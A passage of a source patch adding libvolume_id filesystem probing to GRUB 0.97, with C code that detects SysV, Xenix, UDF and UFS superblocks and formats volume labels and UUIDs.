++	uint16_t	s_inode[SYSV_NICINOD];
++	uint8_t		s_flock;
++	uint8_t		s_ilock;
++	uint8_t		s_fmod;
++	uint8_t		s_ronly;
++	uint32_t	s_time;
++	uint16_t	s_dinfo[4];
++	uint32_t	s_tfree;
++	uint16_t	s_tinode;
++	uint16_t	s_pad3;
++	uint8_t		s_fname[6];
++	uint8_t		s_fpack[6];
++	uint32_t	s_fill[12];
++	uint32_t	s_state;
++	uint32_t	s_magic;
++	uint32_t	s_type;
++} PACKED;
++
++#define XENIX_NICINOD				100
++#define XENIX_NICFREE				100
++
++struct xenix_super {
++	uint16_t	s_isize;
++	uint32_t	s_fsize;
++	uint16_t	s_nfree;
++	uint32_t	s_free[XENIX_NICFREE];
++	uint16_t	s_ninode;
++	uint16_t	s_inode[XENIX_NICINOD];
++	uint8_t		s_flock;
++	uint8_t		s_ilock;
++	uint8_t		s_fmod;
++	uint8_t		s_ronly;
++	uint32_t	s_time;
++	uint32_t	s_tfree;
++	uint16_t	s_tinode;
++	uint16_t	s_dinfo[4];
++	uint8_t		s_fname[6];
++	uint8_t		s_fpack[6];
++	uint8_t		s_clean;
++	uint8_t		s_fill[371];
++	uint32_t	s_magic;
++	uint32_t	s_type;
++} PACKED;
++
++#define SYSV_SUPERBLOCK_BLOCK			0x01
++#define SYSV_MAGIC				0xfd187e20
++#define XENIX_SUPERBLOCK_BLOCK			0x18
++#define XENIX_MAGIC				0x2b5544
++#define SYSV_MAX_BLOCKSIZE			0x800
++
++int volume_id_probe_sysv(struct volume_id *id, uint64_t off, uint64_t size)
++{
++	struct sysv_super *vs;
++	struct xenix_super *xs;
++	unsigned int boff;
++
++	info("probing at offset 0x%llx", (unsigned long long) off);
++
++	for (boff = 0x200; boff <= SYSV_MAX_BLOCKSIZE; boff <<= 1) {
++		vs = (struct sysv_super *)
++			volume_id_get_buffer(id, off + (boff * SYSV_SUPERBLOCK_BLOCK), 0x200);
++		if (vs == NULL)
++			return -1;
++
++		if (vs->s_magic == cpu_to_le32(SYSV_MAGIC) || vs->s_magic == cpu_to_be32(SYSV_MAGIC)) {
++			volume_id_set_label_raw(id, vs->s_fname, 6);
++			volume_id_set_label_string(id, vs->s_fname, 6);
++			id->type = "sysv";
++			goto found;
++		}
++	}
++
++	for (boff = 0x200; boff <= SYSV_MAX_BLOCKSIZE; boff <<= 1) {
++		xs = (struct xenix_super *)
++			volume_id_get_buffer(id, off + (boff + XENIX_SUPERBLOCK_BLOCK), 0x200);
++		if (xs == NULL)
++			return -1;
++
++		if (xs->s_magic == cpu_to_le32(XENIX_MAGIC) || xs->s_magic == cpu_to_be32(XENIX_MAGIC)) {
++			volume_id_set_label_raw(id, xs->s_fname, 6);
++			volume_id_set_label_string(id, xs->s_fname, 6);
++			id->type = "xenix";
++			goto found;
++		}
++	}
++
++	return -1;
++
++found:
++	volume_id_set_usage(id, VOLUME_ID_FILESYSTEM);
++	return 0;
++}
+
+=== added file 'libvolume_id/udf.c'
+--- grub-0.97.orig/libvolume_id/udf.c	1970-01-01 00:00:00 +0000
++++ grub-0.97/libvolume_id/udf.c	2008-07-15 12:31:43 +0000
+@@ -0,0 +1,173 @@
++/*
++ * volume_id - reads filesystem label and uuid
++ *
++ * Copyright (C) 2004 Kay Sievers <kay.sievers@vrfy.org>
++ * Grub Port, Copyright (C) 2008 Canonical Ltd.
++ *
++ *	This program is free software; you can redistribute it and/or modify it
++ *	under the terms of the GNU General Public License as published by the
++ *	Free Software Foundation version 2 of the License.
++ */
++
++#ifndef _GNU_SOURCE
++#define _GNU_SOURCE 1
++#endif
++
++#ifdef HAVE_CONFIG_H
++#  include <config.h>
++#endif
++
++#include "volume_id.h"
++#include "util.h"
++#include "shared.h"
++
++struct volume_descriptor {
++	struct descriptor_tag {
++		uint16_t	id;
++		uint16_t	version;
++		uint8_t		checksum;
++		uint8_t		reserved;
++		uint16_t	serial;
++		uint16_t	crc;
++		uint16_t	crc_len;
++		uint32_t	location;
++	} PACKED tag;
++	union {
++		struct anchor_descriptor {
++			uint32_t	length;
++			uint32_t	location;
++		} PACKED anchor;
++		struct primary_descriptor {
++			uint32_t	seq_num;
++			uint32_t	desc_num;
++			struct dstring {
++				uint8_t	clen;
++				uint8_t	c[31];
++			} PACKED ident;
++		} PACKED primary;
++	} PACKED type;
++} PACKED;
++
++struct volume_structure_descriptor {
++	uint8_t		type;
++	uint8_t		id[5];
++	uint8_t		version;
++} PACKED;
++
++#define UDF_VSD_OFFSET			0x8000
++
++int volume_id_probe_udf(struct volume_id *id, uint64_t off, uint64_t size)
++{
++	struct volume_descriptor *vd;
++	struct volume_structure_descriptor *vsd;
++	unsigned int bs;
++	unsigned int b;
++	unsigned int type;
++	unsigned int count;
++	unsigned int loc;
++	unsigned int clen;
++
++	info("probing at offset 0x%llx", (unsigned long long) off);
++
++	vsd = (struct volume_structure_descriptor *) volume_id_get_buffer(id, off + UDF_VSD_OFFSET, 0x200);
++	if (vsd == NULL)
++		return -1;
++
++	if (memcmp((char *)vsd->id, "NSR02", 5) == 0)
++		goto blocksize;
++	if (memcmp((char *)vsd->id, "NSR03", 5) == 0)
++		goto blocksize;
++	if (memcmp((char *)vsd->id, "BEA01", 5) == 0)
++		goto blocksize;
++	if (memcmp((char *)vsd->id, "BOOT2", 5) == 0)
++		goto blocksize;
++	if (memcmp((char *)vsd->id, "CD001", 5) == 0)
++		goto blocksize;
++	if (memcmp((char *)vsd->id, "CDW02", 5) == 0)
++		goto blocksize;
++	if (memcmp((char *)vsd->id, "TEA03", 5) == 0)
++		goto blocksize;
++	return -1;
++
++blocksize:
++	/* search the next VSD to get the logical block size of the volume */
++	for (bs = 0x800; bs < 0x8000; bs += 0x800) {
++		vsd = (struct volume_structure_descriptor *) volume_id_get_buffer(id, off + UDF_VSD_OFFSET + bs, 0x800);
++		if (vsd == NULL)
++			return -1;
++		dbg("test for blocksize: 0x%x", bs);
++		if (vsd->id[0] != '\0')
++			goto nsr;
++	}
++	return -1;
++
++nsr:
++	/* search the list of VSDs for a NSR descriptor */
++	for (b = 0; b < 64; b++) {
++		vsd = (struct volume_structure_descriptor *) volume_id_get_buffer(id, off + UDF_VSD_OFFSET + (b * bs), 0x800);
++		if (vsd == NULL)
++			return -1;
++
++		dbg("vsd: %c%c%c%c%c",
++		    vsd->id[0], vsd->id[1], vsd->id[2], vsd->id[3], vsd->id[4]);
++
++		if (vsd->id[0] == '\0')
++			return -1;
++		if (memcmp((char *)vsd->id, "NSR02", 5) == 0)
++			goto anchor;
++		if (memcmp((char *)vsd->id, "NSR03", 5) == 0)
++			goto anchor;
++	}
++	return -1;
++
++anchor:
++	/* read anchor volume descriptor */
++	vd = (struct volume_descriptor *) volume_id_get_buffer(id, off + (256 * bs), 0x200);
++	if (vd == NULL)
++		return -1;
++
++	type = le16_to_cpu(vd->tag.id);
++	if (type != 2) /* TAG_ID_AVDP */
++		goto found;
++
++	/* get desriptor list address and block count */
++	count = le32_to_cpu(vd->type.anchor.length) / bs;
++	loc = le32_to_cpu(vd->type.anchor.location);
++	dbg("0x%x descriptors starting at logical secor 0x%x", count, loc);
++
++	/* pick the primary descriptor from the list */
++	for (b = 0; b < count; b++) {
++		vd = (struct volume_descriptor *) volume_id_get_buffer(id, off + ((loc + b) * bs), 0x200);
++		if (vd == NULL)
++			return -1;
++
++		type = le16_to_cpu(vd->tag.id);
++		dbg("descriptor type %i", type);
++
++		/* check validity */
++		if (type == 0)
++			goto found;
++		if (le32_to_cpu(vd->tag.location) != loc + b)
++			goto found;
++
++		if (type == 1) /* TAG_ID_PVD */
++			goto pvd;
++	}
++	goto found;
++
++pvd:
++	volume_id_set_label_raw(id, &(vd->type.primary.ident.clen), 32);
++
++	clen = vd->type.primary.ident.clen;
++	dbg("label string charsize=%i bit", clen);
++	if (clen == 8)
++		volume_id_set_label_string(id, vd->type.primary.ident.c, 31);
++	else if (clen == 16)
++		volume_id_set_label_unicode16(id, vd->type.primary.ident.c, BE,31);
++
++found:
++	volume_id_set_usage(id, VOLUME_ID_FILESYSTEM);
++	id->type = "udf";
++
++	return 0;
++}
+
+=== added file 'libvolume_id/ufs.c'
+--- grub-0.97.orig/libvolume_id/ufs.c	1970-01-01 00:00:00 +0000
++++ grub-0.97/libvolume_id/ufs.c	2008-07-15 12:31:43 +0000
+@@ -0,0 +1,217 @@
++/*
++ * volume_id - reads filesystem label and uuid
++ *
++ * Copyright (C) 2004 Kay Sievers <kay.sievers@vrfy.org>
++ * Grub Port, Copyright (C) 2008 Canonical Ltd.
++ *
++ *	This program is free software; you can redistribute it and/or modify it
++ *	under the terms of the GNU General Public License as published by the
++ *	Free Software Foundation version 2 of the License.
++ */
++
++#ifndef _GNU_SOURCE
++#define _GNU_SOURCE 1
++#endif
++
++#ifdef HAVE_CONFIG_H
++#  include <config.h>
++#endif
++
++#include "volume_id.h"
++#include "util.h"
++#include "shared.h"
++
++struct ufs_super_block {
++	uint32_t	fs_link;
++	uint32_t	fs_rlink;
++	uint32_t	fs_sblkno;
++	uint32_t	fs_cblkno;
++	uint32_t	fs_iblkno;
++	uint32_t	fs_dblkno;
++	uint32_t	fs_cgoffset;
++	uint32_t	fs_cgmask;
++	uint32_t	fs_time;
++	uint32_t	fs_size;
++	uint32_t	fs_dsize;
++	uint32_t	fs_ncg;	
++	uint32_t	fs_bsize;
++	uint32_t	fs_fsize;
++	uint32_t	fs_frag;
++	uint32_t	fs_minfree;
++	uint32_t	fs_rotdelay;
++	uint32_t	fs_rps;	
++	uint32_t	fs_bmask;
++	uint32_t	fs_fmask;
++	uint32_t	fs_bshift;
++	uint32_t	fs_fshift;
++	uint32_t	fs_maxcontig;
++	uint32_t	fs_maxbpg;
++	uint32_t	fs_fragshift;
++	uint32_t	fs_fsbtodb;
++	uint32_t	fs_sbsize;
++	uint32_t	fs_csmask;
++	uint32_t	fs_csshift;
++	uint32_t	fs_nindir;
++	uint32_t	fs_inopb;
++	uint32_t	fs_nspf;
++	uint32_t	fs_optim;
++	uint32_t	fs_npsect_state;
++	uint32_t	fs_interleave;
++	uint32_t	fs_trackskew;
++	uint32_t	fs_id[2];
++	uint32_t	fs_csaddr;
++	uint32_t	fs_cssize;
++	uint32_t	fs_cgsize;
++	uint32_t	fs_ntrak;
++	uint32_t	fs_nsect;
++	uint32_t	fs_spc;	
++	uint32_t	fs_ncyl;
++	uint32_t	fs_cpg;
++	uint32_t	fs_ipg;
++	uint32_t	fs_fpg;
++	struct ufs_csum {
++		uint32_t	cs_ndir;
++		uint32_t	cs_nbfree;
++		uint32_t	cs_nifree;
++		uint32_t	cs_nffree;
++	} PACKED fs_cstotal;
++	int8_t		fs_fmod;
++	int8_t		fs_clean;
++	int8_t		fs_ronly;
++	int8_t		fs_flags;
++	union {
++		struct {
++			int8_t	fs_fsmnt[512];
++			uint32_t	fs_cgrotor;
++			uint32_t	fs_csp[31];
++			uint32_t	fs_maxcluster;
++			uint32_t	fs_cpc;
++			uint16_t	fs_opostbl[16][8];
++		} PACKED fs_u1;
++		struct {
++			int8_t		fs_fsmnt[468];
++			uint8_t		fs_volname[32];
++			uint64_t	fs_swuid;
++			int32_t		fs_pad;
++			uint32_t	fs_cgrotor;
++			uint32_t	fs_ocsp[28];
++			uint32_t	fs_contigdirs;
++			uint32_t	fs_csp;	
++			uint32_t	fs_maxcluster;
++			uint32_t	fs_active;
++			int32_t		fs_old_cpc;
++			int32_t		fs_maxbsize;
++			int64_t		fs_sparecon64[17];
++			int64_t		fs_sblockloc;
++			struct ufs2_csum_total {
++				uint64_t	cs_ndir;
++				uint64_t	cs_nbfree;
++				uint64_t	cs_nifree;
++				uint64_t	cs_nffree;
++				uint64_t	cs_numclusters;
++				uint64_t	cs_spare[3];
++			} PACKED fs_cstotal;
++			struct ufs_timeval {
++				int32_t		tv_sec;
++				int32_t		tv_usec;
++			} PACKED fs_time;
++			int64_t		fs_size;
++			int64_t		fs_dsize;
++			uint64_t	fs_csaddr;
++			int64_t		fs_pendingblocks;
++			int32_t		fs_pendinginodes;
++		} PACKED fs_u2;
++	}  fs_u11;
++	union {
++		struct {
++			int32_t		fs_sparecon[53];
++			int32_t		fs_reclaim;
++			int32_t		fs_sparecon2[1];
++			int32_t		fs_state;
++			uint32_t	fs_qbmask[2];
++			uint32_t	fs_qfmask[2];
++		} PACKED fs_sun;
++		struct {
++			int32_t		fs_sparecon[53];
++			int32_t		fs_reclaim;
++			int32_t		fs_sparecon2[1];
++			uint32_t	fs_npsect;
++			uint32_t	fs_qbmask[2];
++			uint32_t	fs_qfmask[2];
++		} PACKED fs_sunx86;
++		struct {
++			int32_t		fs_sparecon[50];
++			int32_t		fs_contigsumsize;
++			int32_t		fs_maxsymlinklen;
++			int32_t		fs_inodefmt;
++			uint32_t	fs_maxfilesize[2];
++			uint32_t	fs_qbmask[2];
++			uint32_t	fs_qfmask[2];
++			int32_t		fs_state;
++		} PACKED fs_44;
++	} fs_u2;
++	int32_t		fs_postblformat;
++	int32_t		fs_nrpos;
++	int32_t		fs_postbloff;
++	int32_t		fs_rotbloff;
++	uint32_t	fs_magic;
++	uint8_t		fs_space[1];
++} PACKED;
++
++#define UFS_MAGIC			0x00011954
++#define UFS2_MAGIC			0x19540119
++#define UFS_MAGIC_FEA			0x00195612
++#define UFS_MAGIC_LFN			0x00095014
++
++int volume_id_probe_ufs(struct volume_id *id, uint64_t off, uint64_t size)
++{
++	uint32_t magic;
++	int i;
++	struct ufs_super_block *ufs;
++	int offsets[] = {0, 8, 64, 256, -1};
++
++	info("probing at offset 0x%llx", (unsigned long long) off);
++
++	for (i = 0; offsets[i] >= 0; i++) {	
++		ufs = (struct ufs_super_block *) volume_id_get_buffer(id, off + (offsets[i] * 0x400), 0x800);
++		if (ufs == NULL)
++			return -1;
++
++		dbg("offset 0x%x", offsets[i] * 0x400);
++		magic = be32_to_cpu(ufs->fs_magic);
++		if ((magic == UFS_MAGIC) ||
++		    (magic == UFS2_MAGIC) ||
++		    (magic == UFS_MAGIC_FEA) ||
++		    (magic == UFS_MAGIC_LFN)) {
++			dbg("magic 0x%08x(be)", magic);
++			goto found;
++		}
++		magic = le32_to_cpu(ufs->fs_magic);
++		if ((magic == UFS_MAGIC) ||
++		    (magic == UFS2_MAGIC) ||
++		    (magic == UFS_MAGIC_FEA) ||
++		    (magic == UFS_MAGIC_LFN)) {
++			dbg("magic 0x%08x(le)", magic);
++			goto found;
++		}
++	}
++	return -1;
++
++found:
++	volume_id_set_usage(id, VOLUME_ID_FILESYSTEM);
++	id->type = "ufs";
++	switch (magic) {
++	case UFS_MAGIC:
++		strcpy(id->type_version, "1");
++		break;
++	case UFS2_MAGIC:
++		strcpy(id->type_version, "2");
++		volume_id_set_label_raw(id, ufs->fs_u11.fs_u2.fs_volname, 32);
++		volume_id_set_label_string(id, ufs->fs_u11.fs_u2.fs_volname, 32);
++		break;
++	default:
++		break;
++	}
++
++	return 0;
++}
+
+=== added file 'libvolume_id/util.c'
+--- grub-0.97.orig/libvolume_id/util.c	1970-01-01 00:00:00 +0000
++++ grub-0.97/libvolume_id/util.c	2008-07-15 12:31:43 +0000
+@@ -0,0 +1,472 @@
++/*
++ * volume_id - reads filesystem label and uuid
++ *
++ * Copyright (C) 2005-2007 Kay Sievers <kay.sievers@vrfy.org>
++ * Grub Port, Copyright (C) 2008 Canonical Ltd.
++ *
++ *	This program is free software; you can redistribute it and/or modify it
++ *	under the terms of the GNU General Public License as published by the
++ *	Free Software Foundation version 2 of the License.
++ */
++
++#ifndef _GNU_SOURCE
++#define _GNU_SOURCE 1
++#endif
++
++#ifdef HAVE_CONFIG_H
++#  include <config.h>
++#endif
++
++#include <stdlib.h>
++
++#include "strfuncs.h"
++#include "volume_id.h"
++#include "util.h"
++#include "shared.h"
++
++static char hex[] = "0123456789abcdef";
++
++#define hexhi(val)   hex[val >> 4]
++#define hexlo(val)   hex[val & 0xf]
++
++/* count of characters used to encode one unicode char */
++static int utf8_encoded_expected_len(const char *str)
++{
++	unsigned char c = (unsigned char)str[0];
++
++	if (c < 0x80)
++		return 1;
++	if ((c & 0xe0) == 0xc0)
++		return 2;
++	if ((c & 0xf0) == 0xe0)
++		return 3;
++	if ((c & 0xf8) == 0xf0)
++		return 4;
++	if ((c & 0xfc) == 0xf8)
++		return 5;
++	if ((c & 0xfe) == 0xfc)
++		return 6;
++	return 0;
++}
++
++/* decode one unicode char */
++static int utf8_encoded_to_unichar(const char *str)
++{
++	int unichar;
++	int len;
++	int i;
++
++	len = utf8_encoded_expected_len(str);
++	switch (len) {
++	case 1:
++		return (int)str[0];
++	case 2:
++		unichar = str[0] & 0x1f;
++		break;
++	case 3:
++		unichar = (int)str[0] & 0x0f;
++		break;
++	case 4:
++		unichar = (int)str[0] & 0x07;
++		break;
++	case 5:
++		unichar = (int)str[0] & 0x03;
++		break;
++	case 6:
++		unichar = (int)str[0] & 0x01;
++		break;
++	default:
++		return -1;
++	}
++
++	for (i = 1; i < len; i++) {
++		if (((int)str[i] & 0xc0) != 0x80)
++			return -1;
++		unichar <<= 6;
++		unichar |= (int)str[i] & 0x3f;
++	}
++
++	return unichar;
++}
++
++/* expected size used to encode one unicode char */
++static int utf8_unichar_to_encoded_len(int unichar)
++{
++	if (unichar < 0x80)
++		return 1;
++	if (unichar < 0x800)
++		return 2;
++	if (unichar < 0x10000)
++		return 3;
++	if (unichar < 0x200000)
++		return 4;
++	if (unichar < 0x4000000)
++		return 5;
++	return 6;
++}
++
++/* check if unicode char has a valid numeric range */
++static int utf8_unichar_valid_range(int unichar)
++{
++	if (unichar > 0x10ffff)
++		return 0;
++	if ((unichar & 0xfffff800) == 0xd800)
++		return 0;
++	if ((unichar > 0xfdcf) && (unichar < 0xfdf0))
++		return 0;
++	if ((unichar & 0xffff) == 0xffff)
++		return 0;
++	return 1;
++}
++
++/* validate one encoded unicode char and return its length */
++int volume_id_utf8_encoded_valid_unichar(const char *str)
++{
++	int len;
++	int unichar;
++	int i;
++
++	len = utf8_encoded_expected_len(str);
++	if (len == 0)
++		return -1;
++
++	/* ascii is valid */
++	if (len == 1)
++		return 1;
++
++	/* check if expected encoded chars are available */
++	for (i = 0; i < len; i++)
++		if ((str[i] & 0x80) != 0x80)
++			return -1;
++
++	unichar = utf8_encoded_to_unichar(str);
++
++	/* check if encoded length matches encoded value */
++	if (utf8_unichar_to_encoded_len(unichar) != len)
++		return -1;
++
++	/* check if value has valid range */
++	if (!utf8_unichar_valid_range(unichar))
++		return -1;
++
++	return len;
++}
++
++size_t volume_id_set_unicode16(uint8_t *str, size_t len, const uint8_t *buf, enum endian endianess, size_t count)
++{
++	size_t i, j;
++	uint16_t c;
++
++	j = 0;
++	for (i = 0; i + 2 <= count; i += 2) {
++		if (endianess == LE)
++			c = (buf[i+1] << 8) | buf[i];
++		else
++			c = (buf[i] << 8) | buf[i+1];
++		if (c == 0) {
++			str[j] = '\0';
++			break;
++		} else if (c < 0x80) {
++			if (j+1 >= len)
++				break;
++			str[j++] = (uint8_t) c;
++		} else if (c < 0x800) {
++			if (j+2 >= len)
++				break;
++			str[j++] = (uint8_t) (0xc0 | (c >> 6));
++			str[j++] = (uint8_t) (0x80 | (c & 0x3f));
++		} else {
++			if (j+3 >= len)
++				break;
++			str[j++] = (uint8_t) (0xe0 | (c >> 12));
++			str[j++] = (uint8_t) (0x80 | ((c >> 6) & 0x3f));
++			str[j++] = (uint8_t) (0x80 | (c & 0x3f));
++		}
++	}
++	str[j] = '\0';
++	return j;
++}
++
++static char *usage_to_string(enum volume_id_usage usage_id)
++{
++	switch (usage_id) {
++	case VOLUME_ID_FILESYSTEM:
++		return "filesystem";
++	case VOLUME_ID_OTHER:
++		return "other";
++	case VOLUME_ID_RAID:
++		return "raid";
++	case VOLUME_ID_DISKLABEL:
++		return "disklabel";
++	case VOLUME_ID_CRYPTO:
++		return "crypto";
++	case VOLUME_ID_UNPROBED:
++		return "unprobed";
++	case VOLUME_ID_UNUSED:
++		return "unused";
++	}
++	return NULL;
++}
++
++void volume_id_set_usage(struct volume_id *id, enum volume_id_usage usage_id)
++{
++	id->usage_id = usage_id;
++	id->usage = usage_to_string(usage_id);
++}
++
++void volume_id_set_label_raw(struct volume_id *id, const uint8_t *buf, size_t count)
++{
++	if (count > sizeof(id->label))
++		count = sizeof(id->label);
++
++	memcpy(id->label_raw, buf, count);
++	id->label_raw_len = count;
++}
++
++void volume_id_set_label_string(struct volume_id *id, const uint8_t *buf, size_t count)
++{
++	size_t i;
++
++	if (count >= sizeof(id->label))
++		count = sizeof(id->label)-1;
++
++	memcpy(id->label, buf, count);
++	id->label[count] = '\0';
++
++	/* remove trailing whitespace */
++	i = strnlen(id->label, count);
++	while (i--) {
++		if (!isspace(id->label[i]))
++			break;
++	}
++	id->label[i+1] = '\0';
++}
++
++void volume_id_set_label_unicode16(struct volume_id *id, const uint8_t *buf, enum endian endianess, size_t count)
++{
++	if (count >= sizeof(id->label))
++		count = sizeof(id->label)-1;
++
++	 volume_id_set_unicode16((uint8_t *)id->label, sizeof(id->label), buf, endianess, count);
++}
++
++void volume_id_set_uuid(struct volume_id *id, const uint8_t *buf, size_t len, enum uuid_format format)
++{
++	unsigned int i;
++	unsigned int count = 0;
++	char *uuid;
++
++	if (len > sizeof(id->uuid_raw))
++		len = sizeof(id->uuid_raw);
++
++	switch(format) {
++	case UUID_STRING:
++		count = len;
++		break;
++	case UUID_HEX_STRING:
++		count = len;
++		break;
++	case UUID_DOS:
++		count = 4;
++		break;
++	case UUID_64BIT_LE:
++	case UUID_64BIT_BE:
++		count = 8;
++		break;
++	case UUID_DCE:
++		count = 16;
++		break;
++	case UUID_FOURINT:
++		count = 35;
++		break;
++	}
++	memcpy(id->uuid_raw, buf, count);
++	id->uuid_raw_len = count;
++
++	/* if set, create string in the same format, the native platform uses */
++	for (i = 0; i < count; i++)
++		if (buf[i] != 0)
++			goto set;
++	return;
++
++set:
++	uuid = id->uuid;
++	switch(format) {
++	case UUID_DOS:
++		*uuid++ = hexhi(buf[3]);
++		*uuid++ = hexlo(buf[3]);
++		*uuid++ = hexhi(buf[2]);
++		*uuid++ = hexlo(buf[2]);
++		*uuid++ = '-';
++		*uuid++ = hexhi(buf[1]);
++		*uuid++ = hexlo(buf[1]);
++		*uuid++ = hexhi(buf[0]);
++		*uuid++ = hexlo(buf[0]);
++		*uuid = '\0';
++		break;
++	case UUID_64BIT_LE:
++		*uuid++ = hexhi(buf[7]);
++		*uuid++ = hexlo(buf[7]);
++		*uuid++ = hexhi(buf[6]);
++		*uuid++ = hexlo(buf[6]);
++		*uuid++ = hexhi(buf[5]);
++		*uuid++ = hexlo(buf[5]);
++		*uuid++ = hexhi(buf[4]);
++		*uuid++ = hexlo(buf[4]);
++		*uuid++ = hexhi(buf[3]);
++		*uuid++ = hexlo(buf[3]);
++		*uuid++ = hexhi(buf[2]);
++		*uuid++ = hexlo(buf[2]);
++		*uuid++ = hexhi(buf[1]);
++		*uuid++ = hexlo(buf[1]);
++		*uuid++ = hexhi(buf[0]);
++		*uuid++ = hexlo(buf[0]);
++		*uuid = '\0';
++		break;
++	case UUID_64BIT_BE:
++		*uuid++ = hexhi(buf[0]);
++		*uuid++ = hexlo(buf[0]);
++		*uuid++ = hexhi(buf[1]);
++		*uuid++ = hexlo(buf[1]);
++		*uuid++ = hexhi(buf[2]);
++		*uuid++ = hexlo(buf[2]);
++		*uuid++ = hexhi(buf[3]);
++		*uuid++ = hexlo(buf[3]);
++		*uuid++ = hexhi(buf[4]);
++		*uuid++ = hexlo(buf[4]);
++		*uuid++ = hexhi(buf[5]);
++		*uuid++ = hexlo(buf[5]);
++		*uuid++ = hexhi(buf[6]);
++		*uuid++ = hexlo(buf[6]);
++		*uuid++ = hexhi(buf[7]);
++		*uuid++ = hexlo(buf[7]);
++		*uuid = '\0';
++		break;
++	case UUID_DCE:
++		*uuid++ = hexhi(buf[0]);
++		*uuid++ = hexlo(buf[0]);
++		*uuid++ = hexhi(buf[1]);
++		*uuid++ = hexlo(buf[1]);
++		*uuid++ = hexhi(buf[2]);
++		*uuid++ = hexlo(buf[2]);
++		*uuid++ = hexhi(buf[3]);
++		*uuid++ = hexlo(buf[3]);
++		*uuid++ = '-';
++		*uuid++ = hexhi(buf[4]);
++		*uuid++ = hexlo(buf[4]);
++		*uuid++ = hexhi(buf[5]);
++		*uuid++ = hexlo(buf[5]);
++		*uuid++ = '-';
++		*uuid++ = hexhi(buf[6]);
++		*uuid++ = hexlo(buf[6]);
++		*uuid++ = hexhi(buf[7]);
++		*uuid++ = hexlo(buf[7]);
++		*uuid++ = '-';
++		*uuid++ = hexhi(buf[8]);
++		*uuid++ = hexlo(buf[8]);
++		*uuid++ = hexhi(buf[9]);
++		*uuid++ = hexlo(buf[9]);
++		*uuid++ = '-';
++		*uuid++ = hexhi(buf[10]);
++		*uuid++ = hexlo(buf[10]);
++		*uuid++ = hexhi(buf[11]);
++		*uuid++ = hexlo(buf[11]);
++		*uuid++ = hexhi(buf[12]);
++		*uuid++ = hexlo(buf[12]);
++		*uuid++ = hexhi(buf[13]);
++		*uuid++ = hexlo(buf[13]);
++		*uuid++ = hexhi(buf[14]);
++		*uuid++ = hexlo(buf[14]);
++		*uuid++ = hexhi(buf[15]);
++		*uuid++ = hexlo(buf[15]);
++		*uuid = '\0';
++		break;
++	case UUID_HEX_STRING:
++		/* translate A..F to a..f */
++		memcpy(id->uuid, buf, count);
++		for (i = 0; i < count; i++)
++			if (id->uuid[i] >= 'A' && id->uuid[i] <= 'F')
++				id->uuid[i] = (id->uuid[i] - 'A') + 'a';
++		id->uuid[count] = '\0';
++		break;
++	case UUID_STRING:
++		memcpy(id->uuid, buf, count);
++		id->uuid[count] = '\0';
++		break;
++	case UUID_FOURINT:
++		*uuid++ = hexhi(buf[0]);
++		*uuid++ = hexlo(buf[0]);
++		*uuid++ = hexhi(buf[1]);
++		*uuid++ = hexlo(buf[1]);
++		*uuid++ = hexhi(buf[2]);
++		*uuid++ = hexlo(buf[2]);
++		*uuid++ = hexhi(buf[3]);
++		*uuid++ = hexlo(buf[3]);
++		*uuid++ = ':';
++		*uuid++ = hexhi(buf[4]);
++		*uuid++ = hexlo(buf[4]);
++		*uuid++ = hexhi(buf[5]);
++		*uuid++ = hexlo(buf[5]);
++		*uuid++ = hexhi(buf[6]);
++		*uuid++ = hexlo(buf[6]);
++		*uuid++ = hexhi(buf[7]);
++		*uuid++ = hexlo(buf[7]);
++		*uuid++ = ':';
++		*uuid++ = hexhi(buf[8]);
++		*uuid++ = hexlo(buf[8]);
++		*uuid++ = hexhi(buf[9]);
++		*uuid++ = hexlo(buf[9]);
++		*uuid++ = hexhi(buf[10]);
++		*uuid++ = hexlo(buf[10]);
++		*uuid++ = hexhi(buf[11]);
++		*uuid++ = hexlo(buf[11]);
++		*uuid++ = ':';
++		*uuid++ = hexhi(buf[12]);
++		*uuid++ = hexlo(buf[12]);
++		*uuid++ = hexhi(buf[13]);
++		*uuid++ = hexlo(buf[13]);
++		*uuid++ = hexhi(buf[14]);
++		*uuid++ = hexlo(buf[14]);
++		*uuid++ = hexhi(buf[15]);
++		*uuid++ = hexlo(buf[15]);
++		*uuid = '\0';
++		break;
++	default:
++		*uuid = '\0';
++		break;
++	}
++}
++
++uint8_t *volume_id_get_buffer(struct volume_id *id, uint64_t off, size_t len)
++{
++	info("get buffer off 0x%llx(%llu), len 0x%zx", (unsigned long long) off, (unsigned long long) off, len);
++	/* check if requested area fits in superblock buffer */
++	if (off + len <= SB_BUFFER_SIZE) {
++		/* check if we need to read */
++		if ((off + len) > id->sbbuf_len) {
++			if (devread (0, 0, off + len, (char*)id->sbbuf) == 0)
++                        {
++				return NULL;
++                        }
++			id->sbbuf_len = off + len;
++		}
++		return &(id->sbbuf[off]);
++	} else {
++		if (len > SEEK_BUFFER_SIZE) {
++			dbg("seek buffer too small %d", SEEK_BUFFER_SIZE);
++			return NULL;
++		}
++
++		/* check if we need to read */
++		if ((off < id->seekbuf_off) || ((off + len) > (id->seekbuf_off + id->seekbuf_len))) {
++			info("read seekbuf off:0x%llx len:0x%zx", (unsigned long long) off, len);
++			if (devread(off >> 9, off & 0x1ff, len, (char*)id->seekbuf) == 0)
++			{
++				return NULL;
++			}
++			id->seekbuf_off = off;
++			id->seekbuf_len = len;
++		}
++		return &(id->seekbuf[off - id->seekbuf_off]);
++	}
++}
+
+=== added file 'libvolume_id/util.h'
+--- grub-0.97.orig/libvolume_id/util.h	1970-01-01 00:00:00 +0000
++++ grub-0.97/libvolume_id/util.h	2008-07-15 12:31:43 +0000
+@@ -0,0 +1,98 @@
++/*
++ * volume_id - reads filesystem label and uuid
++ *
++ * Copyright (C) 2005-2006 Kay Sievers <kay.sievers@vrfy.org>
++ *
++ *	This program is free software; you can redistribute it and/or modify it
++ *	under the terms of the GNU General Public License as published by the
++ *	Free Software Foundation version 2 of the License.
++ */
++
++#ifndef _VOLUME_ID_UTIL_
++#define _VOLUME_ID_UTIL_
++
++#ifndef _GNU_SOURCE
++#define _GNU_SOURCE 1
++#endif
++
++#ifdef HAVE_CONFIG_H
++#  include <config.h>
++#endif
++
++#include <endian.h>
++#include <byteswap.h>
++#include <syslog.h>
++
++#define ALLOWED_CHARS				"#+-.:=@_"
++
++#ifndef PACKED
++#define PACKED				__attribute__((packed))
++#endif
++
++#define err(format, arg...)	volume_id_log_fn(LOG_ERR, __FILE__, __LINE__, format, ##arg)
++#ifdef INFO
++#define info(format, arg...)	volume_id_log_fn(LOG_INFO, __FILE__, __LINE__, format, ##arg)
++#else
++#define info(format, arg...)    do { } while (0)
++#endif
++
++#ifdef DEBUG
